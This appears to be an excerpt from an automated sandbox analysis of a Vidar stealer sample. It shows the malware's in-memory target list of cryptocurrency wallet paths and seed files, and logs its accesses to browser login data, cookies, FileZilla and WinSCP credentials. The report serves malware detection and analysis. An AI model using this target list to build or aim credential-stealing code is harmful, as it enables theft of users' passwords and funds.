Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.r

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: Process Memory Space: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1596, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, type: SAMPLE
Source: Yara match	File source: 0.2.a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.439a680.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.436ce50.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.3e931c0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.3ec09f0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.439a680.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.436ce50.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.3ec09f0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EHDHIDAEHC.exe.3e931c0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2094707680.000000000436C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2094707680.0000000003EC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2092269679.0000000002FC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1698830320.00000000003F0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2094707680.000000000439A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2343148482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2094707680.0000000003E93000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EHDHIDAEHC.exe PID: 5460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1596, type: MEMORYSTR

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C480C40 sqlite3_bind_zeroblob,	0_2_6C480C40
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C480D60 sqlite3_bind_parameter_name,	0_2_6C480D60
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C3A8EA0 sqlite3_clear_bindings,	0_2_6C3A8EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE91FE0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	6_2_1FE91FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE8DFC0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_mprintf,sqlite3_bind_text,sqlite3_step,sqlite3_reset,	6_2_1FE8DFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE25C70 sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	6_2_1FE25C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE8DB10 sqlite3_initialize,sqlite3_bind_int64,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	6_2_1FE8DB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF3D9E0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	6_2_1FF3D9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEB5910 sqlite3_mprintf,sqlite3_bind_int64,	6_2_1FEB5910
